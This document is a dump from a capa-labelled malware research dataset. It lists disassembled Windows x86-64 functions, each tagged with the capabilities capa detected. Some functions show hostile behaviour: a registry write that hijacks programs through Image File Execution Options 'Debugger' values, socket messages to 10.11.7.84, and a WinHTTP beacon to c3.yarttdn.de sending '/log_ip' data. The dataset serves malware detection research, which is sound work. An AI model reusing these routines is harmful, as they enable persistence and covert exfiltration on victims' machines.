joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140078f60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140078fa2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140078fe9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140079042
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140079000
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140079083
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008c32a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008c32b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140079050
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14007909c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400790d6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400790db
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140079124
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140079124
dec r8
sub rdx, 1
jne 0x14007910a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14007a4d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007a522
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007a522
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007a522
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007a522
cmp dword [rcx + 0x84], 0xe
jbe 0x14007a522
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14007a524
xor al, al
add rsp, 0x28
ret
Function at 0x1400011b0
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket
Set registry value

Disassembly:
push rbx
push rbp
push rdi
mov eax, 0x5020
call fcn.140016d60
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x5010], rax
mov rbp, qword [rsp + 0x5060]
lea rdx, [rsp + 0x50]
mov rdi, qword [rsp + 0x5068]
mov ecx, 0x202
mov ebx, r8d
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001218
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Failed_with_the_following_error_code:__d_n
call fcn.140001010
mov eax, 1
jmp 0x1400013a4
xor r8d, r8d
mov qword [rsp + 0x5040], rsi
mov qword [rsp + 0x5048], r14
mov r14d, 2
mov ecx, r14d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001255
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, r14d
jmp 0x140001394
lea r8, [rsp + 0x44]
mov ecx, r14d
lea rdx, str.10.11.7.84
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, 0x22b
mov word [rsp + 0x40], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, send
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x1400012a2
mov eax, 3
jmp 0x140001394
test ebx, ebx
jle 0x140001385
nop word [rax + rax]
dec ebx
lea r8, str._d_Minutes_before_system_reboots.
mov r9d, ebx
lea rcx, [rsp + 0x1f0]
mov edx, 0x4e20
call fcn.140001070
lea rax, [rsp + 0x1f0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400012e0
xor r9d, r9d
lea rdx, [rsp + 0x1f0]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x1400013bf
lea rax, [rsp + 0x30]
mov dword [rsp + 0x38], ebx
mov r9d, 0xf013f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbp
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001365
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rdi
mov rdx, rbp
call fcn.140001ec0
mov ebx, eax
test eax, eax
jg 0x1400012b0
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rsi, qword [rsp + 0x5040]
mov r14, qword [rsp + 0x5048]
mov rcx, qword [rsp + 0x5010]
xor rcx, rsp
call fcn.140002060
add rsp, 0x5020
pop rdi
pop rbp
pop rbx
ret
xor ecx, ecx
call fcn.140005d98
int3
Function at 0x140001ec0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, r8
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov r9d, 0xf013f
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001f4e
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x3c]
mov dword [rsp + 0x38], 0x4e20
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140002060
add rsp, 0x50
pop rbx
ret
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140002060
add rsp, 0x50
pop rbx
ret

Function at 0x140001f70
Capabilities:
Set registry value

Disassembly:
push rbx
mov eax, 0x4e70
call fcn.140016d60
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4e60], rax
mov rbx, rdx
mov qword [rsp + 0x20], rcx
mov edx, 0x4e20
lea rcx, [rsp + 0x40]
lea r9, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
lea r8, str._s_s
call fcn.140001070
lea rdx, [rsp + 0x40]
call fcn.140001de0
lea rax, [rsp + 0x30]
mov r9d, 0xf013f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000202a
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140001ff0
mov rcx, qword [rsp + 0x30]
lea rdx, str.Debugger
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x4e60]
xor rcx, rsp
call fcn.140002060
add rsp, 0x4e70
pop rbx
ret

Function at 0x140005d98
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140005c23
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005c23
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005c23
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005c23
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005c23
cmp dword [rcx + 0x84], 0xe
jbe 0x140005c23
cmp dword [rcx + 0xf8], 0
je 0x140005c23
mov ecx, ebx
call fcn.140005cc4
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140005aa0
cmp dword [rbp + 0x20], 0
je 0x140005c70
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005c78
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005bbc
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013480
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400147c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400147e0
xor al, al
jmp 0x140014861
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400147f3
xor al, al
jmp 0x140014861
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001481d
xor al, al
jmp 0x140014861
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014831
xor al, al
jmp 0x140014861
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014843
xor al, al
jmp 0x140014861
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001485f
xor al, al
jmp 0x140014861
mov al, 1
add rsp, 0x38
ret
Function at 0x18001dce0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x28
mov dword [rsp + 0x24], ecx
mov ecx, dword [rsp + 0x24]
mov edx, 0xffffffff
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [0x18002c020], eax
mov dword [0x18002b838], 1
cmp dword [0x18002b838], 0x270
jge 0x18001ddbe
mov ecx, dword [0x18002b838]
mov edx, 1
call fcn.18000dcb0
movsxd rcx, eax
lea rax, [0x18002c020]
mov eax, dword [rax + rcx*4]
mov ecx, dword [0x18002b838]
add ecx, 0x7ddf4e10
sub ecx, 1
sub ecx, 0x7ddf4e10
movsxd rdx, ecx
lea rcx, [0x18002c020]
mov ecx, dword [rcx + rdx*4]
shr ecx, 0x1e
xor eax, ecx
imul edx, eax, 0x6c078965
mov eax, dword [0x18002b838]
add edx, 0x6cbfa957
add edx, eax
sub edx, 0x6cbfa957
movsxd rcx, dword [0x18002b838]
lea rax, [0x18002c020]
mov dword [rax + rcx*4], edx
movsxd rcx, dword [0x18002b838]
lea rax, [0x18002c020]
mov edx, dword [rax + rcx*4]
and edx, 0xffffffff
lea rax, [0x18002c020]
mov dword [rax + rcx*4], edx
mov eax, dword [0x18002b838]
add eax, 1
mov dword [0x18002b838], eax
jmp 0x18001dd0d
add rsp, 0x28
ret
Function at 0x1400020f0
Capabilities:
Initialize winhttp library
Reference http user-agent string

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14000a098]
test rax, rax
jne 0x140002120
xor r9d, r9d
mov dword [rsp + 0x20], eax
xor r8d, r8d
lea rcx, str.Mozilla_5.0
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [0x14000a098], rax
add rsp, 0x38
ret

Function at 0x140002130
Capabilities:
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
sub rsp, 0xc60
mov rax, qword [0x14000a038]
xor rax, rsp
mov qword [rsp + 0xc50], rax
call fcn.140001ff0
mov r9, rax
lea r8, str._log_ip_smessage_s
lea rax, str.TC04_12
mov edx, 0x400
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call fcn.140001c50
test eax, eax
jle 0x1400022ce
cdqe
cmp rax, 0x400
jae 0x1400022ce
mov r8, qword [rsp + 0xc80]
lea rcx, [rsp + 0x50]
mov ebx, 0x400
lea r9, [rsp + 0xc88]
sub rbx, rax
add rcx, rax
mov rdx, rbx
call fcn.1400022f0
test eax, eax
jle 0x1400022ce
cdqe
cmp rax, rbx
jae 0x1400022ce
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], 0x3ff
mov r8d, 0x400
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov ebx, 0x1bb
call fcn.1400020f0
mov rcx, rax
lea rdx, str.c3.yarttdn.de
xor r9d, r9d
movzx r8d, bx
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
test rax, rax
je 0x1400022ce
xor esi, esi
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rsi
lea r8, [rsp + 0x450]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, [0x140006b68]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
je 0x1400022ce
lea r9d, [rsi + 4]
mov dword [rsp + 0x40], 0x3300
lea r8, [rsp + 0x40]
mov rcx, rax
lea edx, [rsi + 0x1f]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
je 0x1400022ce
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], esi
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400022ce
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400022ce
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x1400022d3
mov eax, 1
mov rcx, qword [rsp + 0xc50]
xor rcx, rsp
call fcn.140003a40
add rsp, 0xc60
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001840
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
call fcn.140002168
mov qword [0x1400055f8], rax
call fcn.140001820
mov ecx, 1
call qword [sym.imp.msvcrt.dll_exit]
nop dword [rax + rax]
int3

Function at 0x140001a50
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x1400055e0], rbx
je 0x140001a9c
cmp rax, rbx
jne 0x140001a8f
mov ebx, 1
mov esi, ebx
jmp 0x140001aa1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a74
mov ebx, 1
mov eax, dword [0x1400055e8]
cmp eax, ebx
jne 0x140001ab7
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x140001b1c
mov eax, dword [0x1400055e8]
test eax, eax
jne 0x140001b16
mov dword [0x1400055e8], ebx
lea r15, [0x1400032b8]
lea rdi, [0x1400032a0]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140001b08
test eax, eax
jne 0x140001b0c
cmp qword [rdi], 0
je 0x140001afd
mov rax, qword [rdi]
mov rcx, qword [0x140003280]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140001ade
test eax, eax
je 0x140001b1c
mov eax, 0xff
jmp 0x140001bf8
mov dword [0x140005024], ebx
mov eax, dword [0x1400055e8]
cmp eax, ebx
jne 0x140001b43
lea rdx, [0x140003298]
lea rcx, [0x140003288]
call sub.msvcrt.dll__initterm
mov dword [0x1400055e8], 2
test esi, esi
jne 0x140001b50
xor eax, eax
xchg qword [0x1400055e0], rax
cmp qword [0x1400055f0], 0
je 0x140001b84
lea rcx, [0x1400055f0]
call fcn.140001e00
test eax, eax
je 0x140001b84
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x1400055f0]
mov r9, qword [0x140003280]
call r9
mov r8, qword [0x140005038]
mov rdx, qword [0x140005030]
mov ecx, dword [0x140005028]
call fcn.140001008
mov dword [0x140005020], eax
cmp dword [0x140005040], 0
jne 0x140001bb4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140005024], 0
jne 0x140001bc9
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140005020]
jmp 0x140001bf8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140095000
add rsp, 0x28
jmp 0x140001a50

Function at 0x140001cec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001d38
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001d30
cmp dword [rcx + 0x3c], edx
jl 0x140001d30
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001d30
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140001d38
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14000f880
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx], rdx
je 0x14000f903
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
add rax, 1
cmp rax, 2
jb 0x14000f8ce
call fcn.140014640
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsi]
mov rdx, rsi
mov r9, rax
call fcn.1400146c0
mov rcx, qword [rsi]
call fcn.140014650
mov qword [rsi], 0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x14000f8fc
mov qword [rsi], rdi
call fcn.140014640
mov r8, qword [rsp + 0x38]
mov rcx, rdi
mov rdx, rsi
mov r9, rax
call fcn.140014680
mov ecx, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
movabs byte [0x4fd98d17a3725ce8], al
stc
mov esi, 0xe68890a4
lodsd eax, dword [rsi]
push rdi
invalid
leave
jae 0x1400c3e3b
xor byte [rbp - 0x2e], cl
stosb byte [edi], al
fcmovnbe st(0), st(2)
in al, dx
insb byte [rdi], dx
jb 0x1400c3e73
invalid
test dl, 0xf0
invalid
retf 0xcef0
push r9
push rbx
pop rdi
invalid

Function at 0x140010e90
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x230
mov r14, rcx
mov rax, qword [0x140065020]
xor rax, rsp
mov qword [rsp + 0x228], rax
lea rdi, [rsp + 0x20]
mov word [rdi], 0
xor ebx, ebx
lea r15, str.PROGRAMFILES
mov rsi, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rcx, qword [rbx + r15]
mov word [rsp + 0x20], 0
mov r8d, 0x104
mov rdx, rdi
call rsi
lea ecx, [rax - 1]
cmp ecx, 0x102
ja 0x140010eff
mov edx, eax
mov rcx, rdi
mov r8, r14
call fcn.140010e20
test al, al
jne 0x140010f0d
add rbx, 8
cmp rbx, 0x18
jne 0x140010ecd
xor esi, esi
jmp 0x140010f10
mov sil, 1
mov rcx, qword [rsp + 0x228]
xor rcx, rsp
call fcn.14002a340
mov eax, esi
add rsp, 0x230
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1800040f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x70
mov rbp, qword [0x18030a4c0]
mov rbx, rcx
movaps xmmword [rsp + 0x60], xmm6
mov r14, rbp
movaps xmmword [rsp + 0x50], xmm7
movaps xmm6, xmm1
movaps xmm7, xmm2
lea rax, [rbp + 8]
cmp rax, rcx
je 0x180004147
mov r8d, 0x594
lea rdx, str.C:UsersOS_55DesktopProyectosProyectos_DLLProyectos_DLLDLL_Famas69_ValenciaNew_Imguiimgui.cpp
lea rcx, str.g.IO__this___Can_only_add_events_to_current_context._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbp, qword [0x18030a4c0]
cmp byte [rbx + 0x37a1], 0
je 0x1800042f1
movss xmm1, dword [0x1800b7230]
xorps xmm2, xmm2
comiss xmm7, xmm1
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rdi
jbe 0x180004194
comiss xmm7, xmm2
cvttss2si eax, xmm7
jae 0x18000418d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm7
jp 0x18000418b
je 0x18000418d
dec eax
movd xmm7, eax
cvtdq2ps xmm7, xmm7
comiss xmm6, xmm1
jbe 0x1800041b9
comiss xmm6, xmm2
cvttss2si eax, xmm6
jae 0x1800041b2
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm6
jp 0x1800041b0
je 0x1800041b2
dec eax
movd xmm6, eax
cvtdq2ps xmm6, xmm6
mov esi, dword [rbp + 0x37c0]
sub esi, 1
movsxd rdi, esi
js 0x18000420f
lea rbx, [rdi + rdi*2]
shl rbx, 3
nop
cmp esi, dword [rbp + 0x37c0]
jl 0x1800041f2
mov r8d, 0x6fc
lea rdx, str.C:UsersOS_55DesktopProyectosProyectos_DLLProyectos_DLLDLL_Famas69_ValenciaNew_Imguiimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbp + 0x37c8]
cmp dword [rbx + rax], 1
je 0x180004299
dec esi
sub rbx, 0x18
sub rdi, 1
jns 0x1800041d0
movsd xmm0, qword [r14 + 0xdfc]
lea rax, [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
movss xmm0, dword [rax]
ucomiss xmm0, xmm6
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
movss xmm1, dword [rax + 4]
jp 0x18000424e
jne 0x18000424e
ucomiss xmm1, xmm7
jp 0x18000424e
je 0x1800042f1
lea rbx, [r14 + 0x37c0]
movss dword [rsp + 0x38], xmm6
mov ecx, dword [rbx]
mov r8d, dword [rbx + 4]
movss dword [rsp + 0x3c], xmm7
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x34], 1
cmp ecx, r8d
jne 0x1800042cf
inc ecx
test r8d, r8d
je 0x1800042bb
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x1800042c0
movss xmm0, dword [rbx + rax + 8]
movss xmm1, dword [rbx + rax + 0xc]
lea rax, [rsp + 0x20]
movss dword [rsp + 0x20], xmm0
movss dword [rsp + 0x24], xmm1
jmp 0x180004223
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.18001ee40
movsxd rax, dword [rbx]
movups xmm0, xmmword [rsp + 0x30]
movsd xmm1, qword [rsp + 0x40]
lea rcx, [rax + rax*2]
mov rax, qword [rbx + 8]
movups xmmword [rax + rcx*8], xmm0
movsd qword [rax + rcx*8 + 0x10], xmm1
inc dword [rbx]
movaps xmm6, xmmword [rsp + 0x60]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
movaps xmm7, xmmword [rsp + 0x50]
mov rsp, r11
pop r14
ret